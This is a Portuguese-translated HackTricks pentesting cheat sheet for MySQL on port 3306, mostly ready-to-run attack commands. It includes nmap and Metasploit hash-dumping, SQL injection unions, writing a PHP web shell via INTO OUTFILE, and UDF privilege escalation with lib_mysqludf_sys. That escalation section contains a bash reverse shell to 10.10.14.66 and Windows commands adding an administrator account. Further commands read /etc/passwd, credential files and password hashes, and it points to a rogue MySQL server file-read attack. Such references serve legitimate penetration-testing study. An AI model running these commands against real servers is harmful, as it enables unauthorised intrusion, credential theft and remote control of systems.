hacktricks/network-services-pentesting/pentesting-mysql.md

3306 - Pentesting Mysql

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Adquira o swag oficial do PEASS & HackTricks
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
• Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.

RootedCON é o evento de segurança cibernética mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Informações Básicas

MySQL é um Sistema de Gerenciamento de Banco de Dados Relacional (RDBMS) de código aberto e gratuito que usa a Linguagem de Consulta Estruturada (SQL). A partir daqui.

Porta padrão: 3306

3306/tcp open  mysql

Conectar

Local

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Remoto

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Enumeração Externa

Algumas das ações de enumeração requerem credenciais válidas.

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Força bruta

Escrever qualquer dado binário

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Comandos MySQL

Basic commands

Comandos básicos

Connect to MySQL

Conectar ao MySQL

mysql -h <host> -u <user> -p

Show databases

Mostrar bancos de dados

SHOW DATABASES;

Use database

Usar banco de dados

USE <database>;

Show tables

Mostrar tabelas

SHOW TABLES;

Show columns

Mostrar colunas

SHOW COLUMNS FROM <table>;

Select

Selecionar

SELECT <column1>,<column2> FROM <table>;

Advanced commands

Comandos avançados

Load data

Carregar dados

LOAD DATA INFILE '/etc/passwd' INTO TABLE <table>;

Into outfile

Em arquivo

SELECT <column1>,<column2> INTO OUTFILE '/tmp/result.txt' FROM <table>;

Union

União

SELECT <column1>,<column2> FROM <table1> UNION SELECT <column1>,<column2> FROM <table2>;

Comments

Comentários

SELECT <column1> FROM <table> WHERE 1=1 /*!AND <column2>=<value>*/;

Stored procedures

Procedimentos armazenados

CREATE PROCEDURE <procedure_name> (<arguments>)
BEGIN
    <statements>;
END;

User defined functions

Funções definidas pelo usuário

CREATE FUNCTION <function_name> (<arguments>) RETURNS <type>
BEGIN
    <statements>;
END;

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Enumeração de Permissões do MySQL

Para enumerar as permissões de um usuário do MySQL, você pode executar a seguinte consulta:

SELECT * FROM mysql.user WHERE User='username';

Isso retornará uma lista de todas as permissões concedidas ao usuário especificado. Certifique-se de substituir "username" pelo nome de usuário real que você está tentando enumerar.

Além disso, você pode verificar as permissões globais do MySQL executando a seguinte consulta:

SHOW GRANTS FOR 'username'@'%';

Isso retornará uma lista de todas as permissões globais concedidas ao usuário especificado. Novamente, certifique-se de substituir "username" pelo nome de usuário real que você está tentando enumerar.

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root'; 
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Você pode ver na documentação o significado de cada privilégio: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

Leitura arbitrária de arquivos MySQL pelo cliente

Na verdade, quando você tenta carregar dados locais em uma tabela, o conteúdo de um arquivo o servidor MySQL ou MariaDB pede ao cliente para lê-lo e enviar o conteúdo. Então, se você puder adulterar um cliente mysql para se conectar ao seu próprio servidor MySQL, poderá ler arquivos arbitrários.
Observe que este é o comportamento usando:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Observe a palavra "local")
Porque sem a palavra "local" você pode obter:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

PoC Inicial: https://github.com/allyshka/Rogue-MySql-Server
Neste artigo, você pode ver uma descrição completa do ataque e até mesmo como estendê-lo para RCE: https://paper.seebug.org/1113/
Aqui você pode encontrar uma visão geral do ataque: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

POST

Usuário Mysql

Será muito interessante se o mysql estiver sendo executado como root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Configurações Perigosas do mysqld.cnf

De https://academy.hackthebox.com/module/112/section/1238

Configurações	Descrição
user	Define qual usuário o serviço MySQL irá executar.
password	Define a senha para o usuário MySQL.
admin_address	O endereço IP no qual escutar conexões TCP/IP na interface de rede administrativa.
debug	Esta variável indica as configurações atuais de depuração (informações sensíveis dentro dos logs).
sql_warnings	Esta variável controla se as declarações de inserção de uma única linha produzem uma string de informação se ocorrerem avisos. (informações sensíveis dentro dos logs)
secure_file_priv	Esta variável é usada para limitar o efeito das operações de importação e exportação de dados.

Escalada de privilégios

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Escalada de privilégios via biblioteca

Se o servidor mysql estiver sendo executado como root (ou outro usuário com mais privilégios), você pode fazê-lo executar comandos. Para isso, você precisa usar funções definidas pelo usuário. E para criar uma definida pelo usuário, você precisará de uma biblioteca para o sistema operacional em que o mysql está sendo executado.

A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit, fazendo locate "*lib_mysqludf_sys*". Os arquivos .so são bibliotecas linux e os .dll são os do Windows, escolha o que você precisa.

Se você não tiver essas bibliotecas, pode procurá-las ou baixar este código C para linux e compilá-lo dentro da máquina vulnerável linux:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Agora que você tem a biblioteca, faça login no Mysql como um usuário privilegiado (root?) e siga os próximos passos:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extraindo credenciais do MySQL de arquivos

Dentro de /etc/mysql/debian.cnf você pode encontrar a senha em texto plano do usuário debian-sys-maint.

cat /etc/mysql/debian.cnf

Você pode usar essas credenciais para fazer login no banco de dados mysql.

Dentro do arquivo: /var/lib/mysql/mysql/user.MYD você pode encontrar todos os hashes dos usuários do MySQL (aqueles que você pode extrair do mysql.user dentro do banco de dados).

Você pode extrair os hashes fazendo:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Habilitando o registro

Você pode habilitar o registro de consultas do MySQL dentro de /etc/mysql/my.cnf descomentando as seguintes linhas:

Arquivos úteis

Arquivos de configuração

• windows *
  • config.ini
  • my.ini
    • windows\my.ini
    • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
    • my.cnf
      • /etc/my.cnf
      • /etc/mysql/my.cnf
      • /var/lib/mysql/my.cnf
      • ~/.my.cnf
      • /etc/my.cnf
• Histórico de comandos
  • ~/.mysql.history
• Arquivos de registro
  • connections.log
  • update.log
  • common.log

Banco de dados/tabelas padrão do MySQL

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name\

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for MySql
  Note: |
    MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

    https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
  Name: Nmap
  Description: Nmap with MySql Scripts
  Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
  Name: MySql
  Description: Attempt to connect to mysql server
  Command: mysql -h {IP} -u {Username}@localhost
  
Entry_4:
  Name: MySql consolesless mfs enumeration
  Description: MySql enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' 
   

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Adquira o swag oficial do PEASS & HackTricks
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
• Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.